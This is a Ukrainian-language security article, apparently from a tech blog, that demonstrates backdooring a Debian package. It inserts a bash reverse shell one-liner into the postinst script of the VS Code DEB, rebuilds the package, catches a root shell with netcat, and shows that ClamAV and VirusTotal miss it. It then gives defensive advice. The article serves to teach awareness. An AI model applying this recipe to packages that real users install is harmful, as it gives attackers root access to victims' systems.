Як пакети DEB бекдоруються та як це виявити

Ключові висновки

  • Пакети DEB можна легко зробити бекдором, дозволяючи зловмисникам вводити шкідливий код у вашу систему, коли ви встановлюєте їх із правами root.
  • Інфіковані DEB-пакети важко виявити, оскільки вони можуть не позначатися антивірусним програмним забезпеченням або хмарними рішеннями, такими як VirusTotal.
  • Щоб захистити себе, уникайте завантаження пакетів DEB із випадкових сайтів, дотримуйтеся офіційних сайтів завантаження чи сайтів, яким довіряють спільноти, і подумайте про встановлення інструментів безпеки, щоб захистити вашу систему Linux від мережевих атак.

Файли DEB — це пакети програмного забезпечення, які є основним форматом програмного забезпечення для доставки в дистрибутивах Linux на основі Debian.

Щоб установити пакети DEB, вам потрібно використовувати менеджер пакунків, як-от dpkg, із правами root. Зловмисники користуються цим і впроваджують бекдори в ці пакети. Коли ви встановлюєте їх за допомогою dpkg або будь-якого іншого менеджера пакунків, зловмисний код також виконується разом і компрометує вашу систему.

Давайте розберемося, як відбувається бекдор пакетів DEB і що ви можете зробити, щоб захистити себе.

Як здійснюється бекдор на пакети DEB?

Перш ніж ви зрозумієте, як створюються бекдори для пакетів DEB, давайте дослідимо, що міститься в пакеті DEB. Для демонстрації я завантажу пакет Microsoft Visual Studio Code DEB з офіційного веб-сайту Microsoft. Це той самий пакет, який ви завантажили б, якщо хочете встановити VS Code на Linux.

Завантажити: Код Visual Studio

Тепер, коли ви завантажили цільовий пакет, настав час його розпакувати. Ви можете розпакувати DEB-пакет за допомогою команди dpkg-deb з прапорцем -R, після якого вказано шлях для збереження вмісту:

 dpkg-deb -R <package_name> <path> 

Це повинно витягнути вміст пакета VS Code.

  18 найкращих альтернатив Wayback Machine

Перейшовши до папки, ви побачите декілька каталогів, однак нас цікавить лише каталог DEBIAN. Цей каталог містить сценарії супроводжуючого, які виконуються під час встановлення з правами root. Як ви вже могли з’ясувати, зловмисники змінюють сценарії в цьому каталозі.

Для демонстрації я модифікую сценарій postinst і додам просту однорядкову зворотну оболонку TCP Bash. Як випливає з назви, це сценарій, який виконується після встановлення пакета в системі.

Він містить команди, які завершують налаштування, такі як налаштування символічних посилань, обробка залежностей тощо. В Інтернеті можна знайти безліч різних реверсних оболонок. Більшість із них працюватимуть однаково. Ось зразок однорядкового реверсу оболонки:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

Пояснення команди:

  • bash: це команда, яка викликає оболонку Bash.
  • -i: прапорець повідомляє Bash працювати в інтерактивному режимі, дозволяючи командний ввід-вивід у реальному часі.
  • >& /dev/tcp/ip/port: це перенаправляє стандартний вихід і стандартну помилку на мережевий сокет, фактично встановлюючи TCP-з’єднання з і .
  • 0>&1: це перенаправляє вхід і вихід в те саме місце, тобто до мережевого роз’єму.

Для тих, хто не в курсі, зворотна оболонка — це тип коду, який під час виконання на цільовій машині ініціює зворотне з’єднання з машиною зловмисника. Зворотні оболонки — чудовий спосіб обійти обмеження брандмауера, оскільки трафік генерується з машини за брандмауером.

Ось як виглядає змінений сценарій:

Як бачите, все те саме, але додано лише один рядок, тобто нашу зворотну оболонку Bash. Тепер вам потрібно зібрати файли назад у формат «.deb». Просто скористайтеся командою dpkg з прапорцем –build або скористайтеся dpkg-deb з прапорцем -b, за яким слідує шлях до видобутого вмісту:

 dpkg --build <directory>
dpkg-deb -b <directory>

Тепер бекдорний пакет DEB готовий до надсилання на шкідливі сайти. Давайте змоделюємо сценарій, коли жертва завантажила пакет DEB у свою систему та встановлює його як будь-який інший звичайний пакет.

Верхня термінальна панель призначена для POV жертви, а нижня – POV зловмисника. Жертва встановлює пакет за допомогою sudo dpkg -i, а зловмисник терпляче прослуховує вхідні з’єднання за допомогою команди netcat у Linux.

Щойно інсталяція завершиться, зверніть увагу, що зловмисник отримує зворотне підключення до оболонки та тепер має кореневий доступ до системи жертви. Тепер ви знаєте, як відбувається бекдор пакетів DEB. Давайте тепер дізнаємося, як ви можете захистити себе.

Як визначити, чи є пакет DEB шкідливим

Тепер, коли ви знаєте, що заражені пакети DEB — це річ, вам, напевно, цікаво, як знайти заражені. Для початку ви можете спробувати скористатися антивірусним програмним забезпеченням Linux, таким як ClamAV. На жаль, коли сканування ClamAV було запущено на пакеті, воно не позначало його як шкідливий. Ось результат сканування:

Отже, якщо у вас немає антивірусного рішення преміум-класу (а це не гарантія того, що вас не зламатимуть), виявити шкідливі пакети DEB досить важко. Давайте спробуємо використати хмарне рішення, наприклад веб-сайт VirusTotal:

Як бачите, VirusTotal не виявив у ньому нічого поганого. Що ж, єдиний спосіб захистити себе від таких загроз — дотримуватися елементарної гігієни безпеки, як-от не завантажувати файли з невідомих джерел, завжди перевіряти хеш файлу та загалом уникати встановлення тіньового програмного забезпечення.

Інтернет повний таких загроз. Єдиний спосіб переглядати веб-сайти, не втрачаючи даних, — мати розум і переглядати перевірені сайти. Крім того, для Linux вам також слід спробувати знайти програмне забезпечення, яке ви завантажуєте, варіант AppImage, оскільки вони є самодостатніми та можуть бути в ізольованому програмному середовищі, а отже, не мати контакту з вашою системою.

Не завантажуйте пакети DEB із випадкових сайтів!

Пакунки DEB за своєю суттю непогані, однак зловмисники можуть легко використати зброю та відправити їх нічого не підозрюючим користувачам. Як продемонстровано, пакет DEB можна легко відкрити та змінити для додавання спеціального коду за допомогою лише кількох команд, що робить його звичайним вектором для доставки зловмисного програмного забезпечення.

Навіть прості бекдори на пакетах DEB залишаються непомітними для найкращих антивірусних рішень. Тож найкраще, що можна зробити – це діяти безпечно, керуватися здоровим глуздом під час перегляду веб-сторінок і завжди завантажувати програмне забезпечення лише з офіційних сайтів завантаження чи сайтів, яким довіряє спільнота.

Тепер, коли ви знаєте про ризики безпеці, пов’язані зі встановленням пакетів DEB із нових або невідомих сайтів, слід бути обережними під час встановлення нового програмного забезпечення. Однак просто стежити за тим, що ви встановлюєте, недостатньо. Ваша система Linux також може стати об’єктом мережевих атак.

Щоб переконатися, що ви в безпеці у випадку мережевої атаки, вам слід розглянути можливість встановлення засобів безпеки мережі.

  10 найкращих підігрівачів для ковтка гарячої кави